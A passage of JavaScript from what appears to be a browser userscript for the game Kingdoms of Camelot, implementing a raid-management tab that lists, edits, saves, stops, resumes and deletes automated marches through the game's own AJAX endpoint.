      var z ='<TABLE class=pbTab><TR><TD width=60px align=center><A onclick="pbStopAll('+t.cityId+')">STOP</a></td><TD width=70px>Time</td><TD width=85px>Coords</td><TD width=50px>Level</td><TD width=50px></td><TD width=50px><A onclick="pbDeleteAll()">DELETE</a></td></TR>';
      if (t.rslt['queue'] != ""){
          for (y in t.rslt['queue']) {
              if (t.rslt['queue'][y]['botMarches'] != undefined) {
                  for (k in Seed.queue_atkp['city' + t.cityId]){
                      if (Seed.queue_atkp['city' + t.cityId][k]['marchId'] == t.rslt['queue'][y]['botMarches']['marchId']) {
                          botMarchStatus = Seed.queue_atkp['city' + t.cityId][k]['botMarchStatus'];
                          MarchStatus = Seed.queue_atkp['city' + t.cityId][k]['marchStatus'];
                          restPeriod = (Seed.queue_atkp['city' + t.cityId][k]['restPeriod']/60);
                          destinationUnixTime = Seed.queue_atkp['city' + t.cityId][k]['destinationUnixTime'];
                          returnUnixTime = Seed.queue_atkp['city' + t.cityId][k]['returnUnixTime']
                          now = unixTime();
                          //z+='<TR><TD>('+ botMarchStatus +'/'+ MarchStatus +')</td>';
                          z+='<TR>';
                          //if (destinationUnixTime > now && botMarchStatus !=3) z+='<TD align=center><img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/attacking.jpg></td>';
                          if (MarchStatus ==1) z+='<TD align=center><img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/attacking.jpg></td>';
                          //if ((destinationUnixTime - now) <= 0 && botMarchStatus !=3 && returnUnixTime > now) z+='<TD align=center><img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/returning.jpg></td>';
                          else if (MarchStatus ==8 && (destinationUnixTime - now) <= 0 && botMarchStatus !=3 && returnUnixTime > now) z+='<TD align=center><img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/returning.jpg></td>';
                          else if (MarchStatus == 3) z+='<TD align=center><img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/autoAttack/raid_stopped_desat.png></td>';
                          //if (returnUnixTime < now  && botMarchStatus !=3) z+='<TD align=center><img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/autoAttack/raid_resting.png></td>';
                          else if (MarchStatus == 4 || (returnUnixTime < now  && botMarchStatus !=3)) z+='<TD align=center><img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/autoAttack/raid_resting.png></td>';
						  else z+='<TD align=center><img src='+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/autoAttack/raid_stopped_desat.png></td>';
                          
                          if (destinationUnixTime >= now) z+='<TD>'+ timestr(Seed.queue_atkp['city' + t.cityId][k]['destinationUnixTime'] - unixTime())+'</td>';
                          if (destinationUnixTime <= now) {
                              if ((destinationUnixTime - now) <= 0 && returnUnixTime > now) z+='<TD>'+ timestr(returnUnixTime - now)+'</td>';
                              if (returnUnixTime <= now) z+='<TD>'+ timestr(now - returnUnixTime)+'</td>';
                          }
                      }
                  }
                  z+='<TD>('+ t.rslt['queue'][y]['botMarches']['toXCoord'] +','+ t.rslt['queue'][y]['botMarches']['toYCoord']+')</td>';
                  z+='<TD align=center>'+ t.rslt['queue'][y]['botMarches']['toTileLevel'] +'</td>';
                  if (botMarchStatus == 3) z+='<TD><A onclick="pbEditRaid('+ y +')">Edit</a></td>';
                      else z+='<TD><FONT COLOR= "CCCCCC">Edit</font></td>';
                  if (botMarchStatus == 3) z+='<TD align=center><A onclick="pbDeleteRaid('+ t.rslt['queue'][y]['botMarches']['marchId']+')">Delete</a></td>';
                  else z+='<TD align=center><FONT COLOR= "CCCCCC">Delete</font></td>';
                  //z +='<TD width=25px></td><TD>Status: '+ botMarchStat[botMarchStatus]+'</td>';
                  z +='<TD width=25px></td><TD>Rest Time: '+ timestr(restPeriod) +'</td>';
                  z+='</tr>';
              }
          }
      }
      z+='</table>';
      if (t.rslt['queue'] == "") z ='<TABLE class=pbTab><TR><TD>No Raids in city!</td></TR>';
      document.getElementById('PaintRaids').innerHTML = z;
      
      var check = true;
          if (t.save != ""){
              var a ='<TABLE class=pbTab><TR><TD width=60px></td><TD width=70px></td><TD width=85px>Coords</td><TD width=50px>Level</td><TD width=50px></td><TD width=50px></td></tr>';
              for (y in t.save){
                  if (t.save[y] != undefined && t.cityId == t.save[y]['cityId']){
                      a +='<TR><TD align=center><A onclick="pbDeleteSavedRaid('+ t.save[y]['marchId'] +')">X</a></td>';
                      a +='<TD></td><TD><FONT COLOR= "CC0000">('+t.save[y]['toXCoord']+','+t.save[y]['toYCoord']+')</font></td>';
                      a +='<TD align=center>'+t.save[y]['toTileLevel']+'</td>';
                      a +='<TD><A onclick="pbEditSavedRaid('+ y +')">Edit</a></td>';
                      a +='<TD align=center><A onclick="pbAddRaid('+ t.save[y]['marchId']+')">Add</a></td></tr>';
                      check = false;
                  }    
              }
              m+='</table>';
          }
          
      if (check) a ='<TABLE class=pbTab><TR><TD>No Saved Raids in city!</td></TR>';
      
      document.getElementById('SavedRaids').innerHTML = a;      
      
      unsafeWindow.pbDeleteRaid = t.DeleteRaid;
      unsafeWindow.pbEditRaid = t.EditRaid;
      unsafeWindow.pbAddRaid = t.AddRaid;
      unsafeWindow.pbDeleteSavedRaid = t.DeleteSavedRaid;
      unsafeWindow.pbEditSavedRaid = t.EditSavedRaid;
      unsafeWindow.pbStopAll = t.StopCityRaids;
      unsafeWindow.pbDeleteAll = t.DeleteCityRaids;
  },
  
  DeleteSavedRaid : function (Id){
          var t = Tabs.Raid;
          for (yy=0;yy<t.save.length;yy++){
              if (t.save[yy]['marchId'] == Id){
                    t.save.splice (yy,1);
              }    
          }
          var serverID = getServerId();
          setTimeout (function (){GM_setValue ('SavedRaids_'+serverID, JSON2.stringify(t.save));}, 0);
          t.paint();
    },
  
  EditSavedRaid : function (y){
      var t = Tabs.Raid;
      var pop = new pbPopup ('pbEditRaid', 0,0, 750,350, true);
      if (t.popFirst){
        pop.centerMe (mainPop.getMainDiv());  
        t.popFirst = false;
      }
      pop.getTopDiv().innerHTML = '<CENTER><B>Edit Saved Raid</b></center>';
      cityId =  t.save[y]['cityId'];
      
          var m = '<BR><TABLE id=pbRaidAdd height=0% class=pbTab><TR align="center">';
          m+='<TR></tr><TR><TD width=25px>X= <INPUT id=toXCoord type=text size=3 maxlength=3 value='+t.save[y]['toXCoord']+'></td>';
          m+='<TD width=10px></td><TD widht=25px>Y= <INPUT id=toYCoord type=text size=3 maxlength=3 value='+ t.save[y]['toYCoord'] +'></td>';
          m+='<TD width=25px></td><TD>Round Trip: '+ timestr((t.save[y]['returnUnixTime'] - t.save[y]['destinationUnixTime'])*2)+ '</td></tr></table>';

          m += '<BR><TABLE id=pbRaidAdd width=100% height=0% class=pbTab><TR align="center">';

		  var rowcounter = 0;
		for (var ui in unsafeWindow.cm.UNIT_TYPES){
			i = unsafeWindow.cm.UNIT_TYPES[ui];
			
			rowcounter++;
			if (rowcounter > 4) {
				m += '</tr><tr align="center">';
				rowcounter = 1;
			}
				
			m += '<td><table class=pbTab><tr><td rowspan=2><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/units/unit_'+i+'_50.jpg?6545"></td><td>'+ addCommas(Seed.units['city'+cityId]['unt'+i]) +'</td></tr><tr><td><INPUT id=Unit'+i+' type=text size=6 maxlength=6 value="'+t.save[y]['unit'+i+'Count']+'"></td></tr></table></td>';
		}
		m += '</tr></table>';
          
          m += '<BR><CENTER><SELECT id=AddKnights type=list></select></center>';
          m+= '<BR><CENTER>'+ strButton20('Save', 'id=pbSaveRaid') +'</center>';
            
      pop.getMainDiv().innerHTML = m;
      
      t.getKnights(cityId);
      
      document.getElementById ('AddKnights').value =  t.save[y]['knightId'];
      document.getElementById ('pbSaveRaid').addEventListener ('click', function(){
                  t.save[y]['knightId'] = parseInt(document.getElementById ('AddKnights').value);
                  t.save[y]['toXCoord'] = parseInt(document.getElementById ('toXCoord').value);
                  t.save[y]['toYCoord'] = parseInt(document.getElementById ('toYCoord').value);
					for (var ui in unsafeWindow.cm.UNIT_TYPES){
						i = unsafeWindow.cm.UNIT_TYPES[ui];
						t.save[y]['unit'+i+'Count'] = parseInt(document.getElementById ('Unit'+i).value);
					}	
                  var serverID = getServerId();
                  setTimeout (function (){GM_setValue ('SavedRaids_'+serverID, JSON2.stringify(t.save));}, 0);
                  pop.show (false);
      }, false);
      
      pop.show (true);      
    },
      
  EditRaid : function (y){
        var t = Tabs.Raid;
        var pop = new pbPopup ('pbEditRaid', 0,0, 750,430, true);
        if (t.popFirst){
          pop.centerMe (mainPop.getMainDiv());  
          t.popFirst = false;
        }
        pop.getTopDiv().innerHTML = '<CENTER><B>Edit Raid</b></center>';
        cityId = t.rslt['queue'][y]['botMarches']['cityId'];
        
		var m = '<BR><TABLE id=pbRaidAdd height=0% class=pbTab><TR align="center">';
		m+='<TR></tr><TR><TD width=25px>X= <INPUT id=toXCoord type=text size=3 maxlength=3 value='+t.rslt['queue'][y]['botMarches']['toXCoord']+'></td>';
		m+='<TD width=10px></td><TD widht=25px>Y= <INPUT id=toYCoord type=text size=3 maxlength=3 value='+ t.rslt['queue'][y]['botMarches']['toYCoord'] +'></td>';
		m+='<TD width=25px></td><TD>Round Trip: '+ timestr((t.rslt['queue'][y]['botMarches']['returnUnixTime'] - t.rslt['queue'][y]['botMarches']['destinationUnixTime'])*2)+ '</td></tr></table>';

		m += '<BR><TABLE id=pbRaidAdd width=100% height=0% class=pbTab><TR align="center">';

		var rowcounter = 0;
		for (var ui in unsafeWindow.cm.UNIT_TYPES){
			i = unsafeWindow.cm.UNIT_TYPES[ui];
			
			rowcounter++;
			if (rowcounter > 4) {
				m += '</tr><tr align="center">';
				rowcounter = 1;
			}
				
			m += '<td><table class=pbTab><tr><td rowspan=2><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/units/unit_'+i+'_50.jpg?6545"></td><td>'+ addCommas(Seed.units['city'+cityId]['unt'+i]) +'</td></tr><tr><td><INPUT id=Unit'+i+' type=text size=6 maxlength=6 value="'+t.rslt['queue'][y]['botMarches']['unit'+i+'Count']+'"></td></tr></table></td>';
		}
		m += '</tr></table>';
            
        m += '<BR><CENTER><SELECT id=AddKnights type=list></select></center>';
            m+= '<BR><CENTER>'+ strButton20('Save', 'id=pbRaidSave') +'</center>';
              
        pop.getMainDiv().innerHTML = m;
        
        t.getKnights(cityId);
        
        document.getElementById ('AddKnights').value =  t.rslt['queue'][y]['botMarches']['knightId'];
        document.getElementById ('pbRaidSave').addEventListener ('click', function(){
            var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
                              
            params.pf = 0;
            params.ctrl = 'BotManager';
            params.action = 'editMarch';
            params.settings = {};
            params.settings.cityId = t.rslt['queue'][y]['botMarches']['fromCityId'];
            params.queue = {0:{botMarches:{botMarchStatus:1,botState:1},cityMarches:{}}};        
            params.queue[0].cityMarches.knightId = parseInt(document.getElementById ('AddKnights').value);
            params.queue[0].cityMarches.toXCoord =  parseInt(document.getElementById ('toXCoord').value);
            params.queue[0].cityMarches.toYCoord =  parseInt(document.getElementById ('toYCoord').value);
            params.queue[0].cityMarches.unit0Count = 0; //document.getElementById ('Unit0').value;
			for (var ui in unsafeWindow.cm.UNIT_TYPES){
				i = unsafeWindow.cm.UNIT_TYPES[ui];
				params.queue[0]['cityMarches']['unit'+i+'Count'] = parseIntNan(document.getElementById ('Unit'+i).value);
			}	
            params.queue[0].cityMarches.marchId =  t.rslt['queue'][y]['botMarches']['marchId'];
            
             new AjaxRequest2(unsafeWindow.g_ajaxpath + "ajax/_dispatch.php" + unsafeWindow.g_ajaxsuffix, {
                            method: "post",
                           parameters: params,
                           loading: true,
                           onSuccess: function(transport){
                              var rslt = eval("(" + transport.responseText + ")");
                                if (rslt.ok) {
                                        pop.show (false);
                                      unsafeWindow.cityinfo_army();
                                    setTimeout(unsafeWindow.update_seed_ajax, 250);
                                    setTimeout(t.GetRaids, (750),Seed.cities[i][0]);
                                  }
                           },
                   });
            }, false);
        
        pop.show (true);      
  },
  
  DeleteRaid : function (Id){
      var t = Tabs.Raid;
      var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
      
      for (y in t.rslt['queue']) {
          if (t.rslt['queue'][y]['botMarches'] != undefined) {
              if (t.rslt['queue'][y]['botMarches']['marchId'] == Id) {
                    marchId = t.rslt['queue'][y]['botMarches']['marchId'];
                    cityId = t.rslt['queue'][y]['botMarches']['cityId'];
                    knightId = t.rslt['queue'][y]['botMarches']['knightId'];
                    toTileLevel = t.rslt['queue'][y]['botMarches']['toTileLevel'];
                    returnUnixTime = t.rslt['queue'][y]['botMarches']['returnUnixTime'];
                    destinationUnixTime = t.rslt['queue'][y]['botMarches']['destinationUnixTime'];
                    toXCoord = t.rslt['queue'][y]['botMarches']['toXCoord'];
                    toYCoord = t.rslt['queue'][y]['botMarches']['toYCoord'];
                    var units = {};
					for (var ui in unsafeWindow.cm.UNIT_TYPES){
						i = unsafeWindow.cm.UNIT_TYPES[ui];
						units[i] = t.rslt['queue'][y]['botMarches']['unit'+i+'Count'];
					}	
				}
			}
		}    
      
      params.pf = 0;
      params.ctrl = 'BotManager';
      params.action = 'deleteMarch';
      params.marchId = marchId;
      params.settings = {};
      params.settings.cityId = cityId;
      
    new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch.php" + unsafeWindow.g_ajaxsuffix, {
               method: "post",
               parameters: params,
               loading: true,
               onSuccess: function(transport){
                  var rslt = eval("(" + transport.responseText + ")");
                    if (rslt.ok) {
                          var serverID = getServerId();
                          t.save = GM_getValue ('SavedRaids_'+serverID);
                          if (t.save == undefined) t.save =new Array();
                      else t.save = JSON2.parse (t.save);
                      var RaidObj = {};
					  RaidObj.marchId = marchId;
					  RaidObj.cityId = cityId;
					  RaidObj.knightId = knightId;
					  RaidObj.toTileLevel = toTileLevel;
					  RaidObj.returnUnixTime = destinationUnixTime;
					  RaidObj.returnUnixTime = returnUnixTime;
					  RaidObj.toXCoord =  toXCoord;
					  RaidObj.toYCoord = toYCoord;
						for (var ui in unsafeWindow.cm.UNIT_TYPES){
								i = unsafeWindow.cm.UNIT_TYPES[ui];
							RaidObj['unit'+i+'Count'] = units[i];
						}
					  
                          t.save.push (RaidObj);
                          var troops = Seed.units["city" + cityId];
							for (var ui in unsafeWindow.cm.UNIT_TYPES){
								u = unsafeWindow.cm.UNIT_TYPES[ui];
							var troop_number = parseInt(rslt["unit" + u + "Return"]);
                          if (isNaN(troop_number)) {
                              troop_number = parseInt(Seed.units["city" + cityId]["unt" + u]);
                          } else troop_number = parseInt(rslt["unit" + u + "Return"]) + parseInt(Seed.units["city" + cityId]["unt" + u]);
                          troops["unt" + u] = troop_number;
                      }
                      for (u in Seed.queue_atkp['city' + cityId]){
                          if (Seed.queue_atkp['city' + cityId][u]['marchId'] == marchId){
                            Seed.queue_atkp['city' + cityId][u] = "";
                              unsafeWindow.seed.queue_atkp['city' + cityId] = Seed.queue_atkp['city' + cityId];
                          }
                      }
                      
                      for (u in Seed.knights['city' + cityId]){
                          if (Seed.knights['city' + cityId][u]['knightId'] == knightId){
                              Seed.knights['city' + cityId][u]["knightStatus"] = 1;
                              unsafeWindow.seed.knights['city' + cityId] = Seed.knights['city' + cityId];
                          }
                      }
                                                      
                          GM_setValue ('SavedRaids_'+serverID, JSON2.stringify(t.save));
                      unsafeWindow.cityinfo_army();
                        setTimeout(unsafeWindow.update_seed_ajax, 250);
                        t.GetRaids(cityId);
                      }
               },
       });
},
  
  StopCityRaids : function (cityId){
        var t = Tabs.Raid;
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);

        
        params.pf = 0;
        params.ctrl = 'BotManager';
        params.action = 'stopAll';
        params.settings = {};

          params.settings.cityId = cityId;
                  
         new AjaxRequest2(unsafeWindow.g_ajaxpath + "ajax/_dispatch.php" + unsafeWindow.g_ajaxsuffix, {
                      method: "post",
                     parameters: params,
                     loading: true,
                     onSuccess: function(transport){
                        var rslt = eval("(" + transport.responseText + ")");
                          if (rslt.ok) {
                                  
                          }
                     },
             });   
    setTimeout(t.GetRaids, (750), cityId);     
    },
  
  StopAllRaids : function (){
          var t = Tabs.Raid;
          if (t.stopping == true || t.resuming == true || t.deleting == true) return;
          if (t.activecount == 0) return;
        t.stopping = true;     
              for (i=0;i<Seed.cities.length;i++){
                  setTimeout(t.DoAllStop, (i*1500),i);
             }
   },
   
   ResumeAllRaids : function (){
           var t = Tabs.Raid;
           if (t.stopping == true || t.resuming == true || t.deleting == true) return;
           if (t.stopcount == 0) return;
           t.resuming = true;
               for (i=0;i<Seed.cities.length;i++){
                   setTimeout(t.DoAllResume, (i*1500),i);
               }
    },
   
   
   DeleteAllRaids : function (){
           var t = Tabs.Raid;
           if (t.stopping == true || t.resuming == true || t.deleting == true) return;
           if (t.stopcount == 0) return;
           t.deleting = true;
           count=0;
           t.count = t.stopcount;
                for (d=0; d< Seed.cities.length;d++) {
                        cityID = 'city' + Seed.cities[d][0];    
                            for (e in Seed.queue_atkp[cityID]){
                                destinationUnixTime = Seed.queue_atkp[cityID][e]['destinationUnixTime'];
                                MarchStatus = Seed.queue_atkp[cityID][e]['marchStatus'];
                                MarchType = Seed.queue_atkp[cityID][e]['marchType'];
                                botMarchStatus = Seed.queue_atkp[cityID][e]['botMarchStatus'];
                                if (MarchType == 9 && botMarchStatus > 3 && botMarchStatus < 9) {
                                    count++;
                                    setTimeout(t.DoAllDelete, (count*1250), (Seed.queue_atkp[cityID][e]['marchId']),d,count);
                                }
                            }
                }
    },
    
  
  DoAllStop: function(i) {
    var t = Tabs.Raid;
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
      params.pf = 0;
      params.ctrl = 'BotManager';
      params.action = 'stopAll';
      params.settings = {};
      params.settings.cityId = Seed.cities[i][0];
                  
           new AjaxRequest2(unsafeWindow.g_ajaxpath + "ajax/_dispatch.php" + unsafeWindow.g_ajaxsuffix, {
                        method: "post",
                       parameters: params,
                       loading: true,
                       onSuccess: function(transport){
                          var rslt = eval("(" + transport.responseText + ")");
                            if (rslt.ok) {
                                    t.stopprogress = t.stopprogress + (100/Seed.cities.length);
                                    actionLog('Stopping: '+ Seed.cities[i][1]);
                                    updatebotbutton('Stopping: '+ t.stopprogress.toFixed(0) + '%', 'pbraidtab');
                                    if (t.stopprogress.toFixed(0) == 100) {
                                         t.stopprogress = 0;
                                         setTimeout(function(){updatebotbutton('Stop Raids ('+ t.activecount + ')', 'pbraidtab');t.stopping = false;}, (5000));
                                    }        
                            }
                            else {
                                    if (rslt.msg == "The system is busy, please try again later") setTimeout (t.DoAllStop, (2000),i);
                                    else {
                                         t.stopprogress = t.stopprogress + (100/Seed.cities.length);
                                         actionLog('Stopping: '+ Seed.cities[i][1] + ' - ' + rslt.msg);
                                         updatebotbutton('Stopping: '+ t.stopprogress.toFixed(0) + '%', 'pbraidtab')
                                         if (t.stopprogress.toFixed(0) == 100) {
                                              t.stopprogress = 0;
                                              setTimeout(function(){updatebotbutton('Stop Raids ('+ t.activecount + ')', 'pbraidtab');t.stopping = false;}, (5000));
                                         }
                                     }
                             }
                       },
    });  
  },

  DoAllResume: function(i) {
    var t = Tabs.Raid;
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
      params.pf = 0;
      params.ctrl = 'BotManager';
      params.action = 'resumeAll';
      params.settings = {};
    params.settings.cityId = Seed.cities[i][0];
                  
           new AjaxRequest2(unsafeWindow.g_ajaxpath + "ajax/_dispatch.php" + unsafeWindow.g_ajaxsuffix, {
                        method: "post",
                       parameters: params,
                       loading: true,
                       onSuccess: function(transport){
                          var rslt = eval("(" + transport.responseText + ")");
                            if (rslt.ok) {
                                    t.stopprogress = t.stopprogress + (100/Seed.cities.length);
                                    actionLog('Resuming: '+ Seed.cities[i][1]);
                                    updatebotbutton('Resuming: '+ t.stopprogress.toFixed(0) + '%', 'pbraidtabRes');
                                    if (t.stopprogress.toFixed(0) == 100) {
                                         t.stopprogress = 0;
                                         setTimeout(function(){updatebotbutton('Resume Raids ('+ t.stopcount + ')', 'pbraidtabRes');t.resuming = false;}, (5000));
                                    }        
                            }
                            else {
                                    if (rslt.msg == "The system is busy, please try again later") setTimeout (t.DoAllResume, (2000),i);
                                    else {
                                         t.stopprogress = t.stopprogress + (100/Seed.cities.length);
                                         actionLog('Stopping: '+ Seed.cities[i][1]  + ' - ' + rslt.msg);
                                         updatebotbutton('Resuming: '+ t.stopprogress.toFixed(0) + '%', 'pbraidtabRes')
                                         if (t.stopprogress.toFixed(0) == 100) {
                                              t.stopprogress = 0;
                                              setTimeout(function(){updatebotbutton('Resume Raids ('+ t.stopcount + ')', 'pbraidtabRes');t.resuming = false;}, (5000));
                                         }    
                                     }
                             }
                       },
    });  
  },
  
  DoAllDelete : function (Id,city,count){
        var t = Tabs.Raid;
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        
        cityID = 'city'+ Seed.cities[city][0];
        
        for (f in Seed.queue_atkp[cityID]){
            if (Seed.queue_atkp[cityID][f]['marchId'] == Id) {
                    marchId = Seed.queue_atkp[cityID][f]['marchId'];
                    cityId = Seed.queue_atkp[cityID][f]['cityId'];
                    knightId = Seed.queue_atkp[cityID][f]['knightId'];
                    toTileLevel = Seed.queue_atkp[cityID][f]['toTileLevel'];
                    returnUnixTime = Seed.queue_atkp[cityID][f]['returnUnixTime'];
                    destinationUnixTime = Seed.queue_atkp[cityID][f]['destinationUnixTime'];
                    toXCoord = Seed.queue_atkp[cityID][f]['toXCoord'];
                    toYCoord = Seed.queue_atkp[cityID][f]['toYCoord'];
                    var units = {};
					for (var ui in unsafeWindow.cm.UNIT_TYPES){
						i = unsafeWindow.cm.UNIT_TYPES[ui];
						units[i] = Seed.queue_atkp[cityID][f]['unit'+i+'Count'];
					}	
            }
        }
        
        params.pf = 0;
        params.ctrl = 'BotManager';
        params.action = 'deleteMarch';
        params.marchId = marchId;
        params.settings = {};
        params.settings.cityId = cityId;
        
      new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch.php" + unsafeWindow.g_ajaxsuffix, {
                 method: "post",
                 parameters: params,
                 loading: true,
                 onSuccess: function(transport){
                    var rslt = eval("(" + transport.responseText + ")");
                      if (rslt != "") {
                            var serverID = getServerId();
                            t.save = GM_getValue ('SavedRaids_'+serverID, "[]");
                            if (t.save != undefined) t.save = JSON2.parse (t.save);
                            if (t.save == undefined) t.save =new Array();
                      var RaidObj = {};
					  RaidObj.marchId = marchId;
					  RaidObj.cityId = cityId;
					  RaidObj.knightId = knightId;
					  RaidObj.toTileLevel = toTileLevel;
					  RaidObj.returnUnixTime = destinationUnixTime;
					  RaidObj.returnUnixTime = returnUnixTime;
					  RaidObj.toXCoord =  toXCoord;
					  RaidObj.toYCoord = toYCoord;
						for (var ui in unsafeWindow.cm.UNIT_TYPES){
								i = unsafeWindow.cm.UNIT_TYPES[ui];
							RaidObj['unit'+i+'Count'] = units[i];
						}
					  
                          t.save.push (RaidObj);
                            
                            var troops = Seed.units["city" + cityId];
							for (var ui in unsafeWindow.cm.UNIT_TYPES){
								u = unsafeWindow.cm.UNIT_TYPES[ui];
                                var troop_number = parseInt(rslt["unit" + u + "Return"]);
                                if (isNaN(troop_number)) {
                                    troop_number = parseInt(Seed.units["city" + cityId]["unt" + u]);
                                } else troop_number = parseInt(rslt["unit" + u + "Return"]) + parseInt(Seed.units["city" + cityId]["unt" + u]);
                                troops["unt" + u] = troop_number;
                            }
                            
                            setTimeout (function (){GM_setValue ('SavedRaids_'+serverID, JSON2.stringify(t.save));}, 0);
                          unsafeWindow.cityinfo_army();      
                          setTimeout(unsafeWindow.update_seed_ajax, 250);
                        }
                 },
         });
                 t.stopprogress = count * (100/t.count);
                 actionLog('Deleting: '+ Seed.cities[city][1]);
                 updatebotbutton('Deleting: '+ t.stopprogress.toFixed(0) + '%', 'pbraidtabDel');
                 if (t.stopprogress.toFixed(0) == 100) {
                      t.stopprogress = 0;
                      t.GetRaids(cityId);
                      setTimeout(function(){updatebotbutton('Delete Raids ('+ t.stopcount + ')', 'pbraidtabDel');t.deleting  = false;}, (5000));
      }    
         
},
  
      
  DeleteCityRaids : function (){
          var t = Tabs.Raid;
          alert('This button needs to be added...');
          /*var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
  
          
          params.pf = 0;
          params.ctrl = 'BotManager';
          params.action = 'stopAll';
          params.settings = {};
  
            params.settings.cityId = t.cityId;
                    
           new AjaxRequest2(unsafeWindow.g_ajaxpath + "ajax/_dispatch.php" + unsafeWindow.g_ajaxsuffix, {
                        method: "post",
                       parameters: params,
                       loading: true,
                       onSuccess: function(transport){
                          var rslt = eval("(" + transport.responseText + ")");
                            if (rslt.ok) {
                                    
                            }
                       },
               }); */       
      },
        
        
  AddRaid : function (Id){
        var t = Tabs.Raid;
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        update = {};
        
        params.pf = 0;
        params.ctrl = 'BotManager';
        params.action = 'saveMarch';
        params.settings = {};
        params.queue = {0:{botMarches:{botMarchStatus:1,botState:1},cityMarches:{}}};
        
        for (y in t.save){
            if (t.save[y]['marchId'] == Id){
                params.settings.cityId = t.save[y]['cityId'];
                params.queue[0].cityMarches.knightId = t.save[y]['knightId']; //parseInt(document.getElementById('AddKnights').value);
                params.queue[0].cityMarches.toXCoord = t.save[y]['toXCoord'];
                params.queue[0].cityMarches.toYCoord = t.save[y]['toYCoord'];
                params.queue[0].cityMarches.unit0Count = 0;
				for (var ui in unsafeWindow.cm.UNIT_TYPES){
					i = unsafeWindow.cm.UNIT_TYPES[ui];
					params.queue[0]['cityMarches']['unit'+i+'Count'] = t.save[y]['unit'+i+'Count'];
				}	
            }
        }    
         
         new AjaxRequest2(unsafeWindow.g_ajaxpath + "ajax/_dispatch.php" + unsafeWindow.g_ajaxsuffix, {
                      method: "post",
                     parameters: params,
                     loading: true,
                     onSuccess: function(transport){
                        var rslt = eval("(" + transport.responseText + ")");
                          if (rslt.ok) {
                                t.GetRaids(params.settings.cityId);
                                  unsafeWindow.cityinfo_army();
                                    setTimeout(unsafeWindow.update_seed_ajax, 250);
                                    for (yy=0;yy<t.save.length;yy++){
                                        if (t.save[yy]['marchId'] == Id){
                                              t.save.splice (yy,1);
                                        }    
                                    }
                                    var serverID = getServerId();
                                    setTimeout (function (){GM_setValue ('SavedRaids_'+serverID, JSON2.stringify(t.save));}, 0);
                                    t.paint();
                         } else {
                              /* var pop = new pbPopup ('pbEditRaid', 0,0, 750,250, true);
                                 if (t.popFirst){
                                   pop.centerMe (mainPop.getMainDiv());  
                                   t.popFirst = false;
                                 }
                                 pop.getTopDiv().innerHTML = '<CENTER><B>ERROR</b></center>';
                                 var m= '<TABLE id=pbRaidAdd width=100% height=0% class=pbTab><TR align="center">';
                               m +=  '<TR><TD rowspan="2"><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/merlin_img.jpg"></td>';
                               m+='<TD style="align;left; max-width:200px; text-wrap:normal;word-wrap:break-word"><B>'+ rslt.msg+'</b></td>';
                                 m+='<TD><CENTER>'+ strButton20('OK', 'id=pbOK') +'</center></td></tr>';
                                 pop.getMainDiv().innerHTML = m;
                               document.getElementById('pbOK').addEventListener ('click', function(){pop.show (false)},false);
                                 pop.show (true);*/
                                 alert('Error: '+ rslt.msg);      
                         }
                     },
             });        
    },
    
        
  getKnights : function(cityId){
         var t = Tabs.Raid;
         var knt = new Array();
         var status ="";
         for (k in Seed.knights['city' + cityId]){
                 if ( Seed.leaders['city' + cityId]["resourcefulnessKnightId"] != Seed.knights['city' + cityId][k]["knightId"] && Seed.leaders['city' + cityId]["politicsKnightId"] != Seed.knights['city' + cityId][k]["knightId"] && Seed.leaders['city' + cityId]["combatKnightId"] != Seed.knights['city' + cityId][k]["knightId"] && Seed.leaders['city' + cityId]["intelligenceKnightId"] != Seed.knights['city' + cityId][k]["knightId"]){
                    if (Seed.knights['city' + cityId][k]["knightStatus"] == 1 ) status = "Free";
                    else status = "Marching";
                     knt.push ({
                         Name:   Seed.knights['city' + cityId][k]["knightName"],
                         Combat:    parseInt(Seed.knights['city' + cityId][k]["combat"]),
                         ID:        Seed.knights['city' + cityId][k]["knightId"],
                         Status: status,
                     });
                 }
         }
         knt = knt.sort(function sort(a,b) {a = a['Combat'];b = b['Combat'];return a == b ? 0 : (a > b ? -1 : 1);});
         document.getElementById('AddKnights').options.length=0;
          var o = document.createElement("option");
          o.text = '--Choose a Knight--';
          o.value = 0;
          document.getElementById("AddKnights").options.add(o);
         for (k in knt){
                  if (knt[k]["Name"] !=undefined){
                      var o = document.createElement("option");
                      o.text = (knt[k]["Name"] + ' (' + knt[k]["Combat"] +') (' + knt[k]["Status"] +')');
                      o.value = knt[k]["ID"];
                      document.getElementById("AddKnights").options.add(o);
                  }
          }
      },
  
    
  clickCitySelect : function (city){
      var t = Tabs.Raid;
      t.cityId = city['id'];
      t.GetRaids(t.cityId);
  },
  
  checkRaids : function (){
    var t = Tabs.Raid;
    var now = unixTime();
    if(!Options.RaidRunning) return;
    if ( (now - Options.RaidReset) > 7200 ) {
        Options.RaidReset = now;
        saveOptions();
        for (g=0;g<Seed.cities.length;g++){
                t.citiesdone = "";
                setTimeout(t.resetRaids, (1500*g), Seed.cities[g][0],Seed.cities[g][1]);
        }
        setTimeout(t.postLog, 30000);
    }
    t.raidtimer = setTimeout(t.checkRaids, 900000);
  },
  
  GetRaids : function(cityId){
          var t = Tabs.Raid;
